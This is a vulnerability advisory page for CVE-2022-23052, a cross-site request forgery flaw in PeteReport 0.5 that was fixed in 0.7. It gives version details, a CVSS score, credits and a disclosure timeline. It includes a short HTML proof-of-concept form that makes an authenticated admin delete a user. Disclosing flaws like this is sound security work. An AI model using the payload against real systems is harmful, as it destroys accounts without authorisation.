PeTeReport 0.5 - Cross-site request forgery

Summary

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Affected versions	Version 0.5
Fixed versions	Version 0.7
State	Public
Release date	2022-02-23

Vulnerability

Kind	Cross-site request forgery
Rule	007. Cross-site request forgery
Remote	Yes
CVSSv3 Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:X/RL:X/RC:X
CVSSv3 Base Score	4.3
Exploit available	No
CVE ID(s)	CVE-2022-23052

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

reports and findings on the application.

Proof of Concept

Steps to reproduce

1. Create a malicious html file with the following content.

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
    <!--Change ID -->
    <form action="https://127.0.0.1/configuration/user/delete/:id">
    <input type="submit" value="Submit request" />
    </form>
</body>
</html>
```

2. If an authenticated admin visits the malicious url, the user with the correspond id will be deleted.

System Information

- Version: PeteReport Version 0.5.
- Operating System: Docker.
- Web Server: nginx.

Exploit

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of `Fluid Attacks`.

References

Vendor page https://github.com/1modm/petereport

Issue https://github.com/1modm/petereport/issues/34

Timeline

2022-02-07

Vulnerability discovered.

- 2022-02-07
  Vendor contacted.
- 2022-02-09
  Vendor replied acknowledging the report.
- 2022-02-09
  Vulnerability patched.
- 2022-02-23
  Public Disclosure.

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Services

Continuous Hacking

One-shot Hacking

Comparative

Solutions

DevSecOps

Secure Code Review

Red Teaming

Breach and Attack Simulation

Security Testing

Penetration Testing

Ethical Hacking

Vulnerability Management

Blog

Certifications

Partners

Careers

Advisories

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Copyright © 2022 Fluid Attacks. We hack your software. All rights reserved.

Service Status - Terms of Use - Privacy Policy - Cookie Policy